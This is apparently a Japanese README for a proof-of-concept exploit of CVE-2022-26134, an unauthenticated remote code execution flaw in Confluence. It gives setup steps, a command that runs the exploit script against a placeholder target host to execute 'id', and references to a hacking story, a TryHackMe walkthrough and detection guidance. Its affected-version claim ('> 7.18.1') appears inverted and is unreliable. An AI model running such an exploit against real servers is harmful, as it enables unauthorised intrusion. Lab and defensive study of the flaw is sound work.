CVE-2022-26134

2022年5月30日、Volexityという組織が、AtlassianのConfluence ServerおよびData Centerエディション（脆弱バージョン > 7.18.1）において、認証不要のRCE脆弱性（NISTスコア9.8）を特定しました。

実行

python -m venv venv
source venv/bin/activate
pip install -r requirements.txt
python CVE-2022-26134.py http://xxx.xxx.xxx.xxx:8090/ "id"

参考文献

• 48時間でFortune 500企業をハッキングし、30,000,000人のユーザーデータを入手した方法 – 著者: Legacy0x1
• CVE-2022-26134 TryHackMeルームのウォークスルー – 著者: Aybala Sevinc
• Confluence CVE-2022-26134 ゼロデイ脆弱性の検出と対応ガイダンス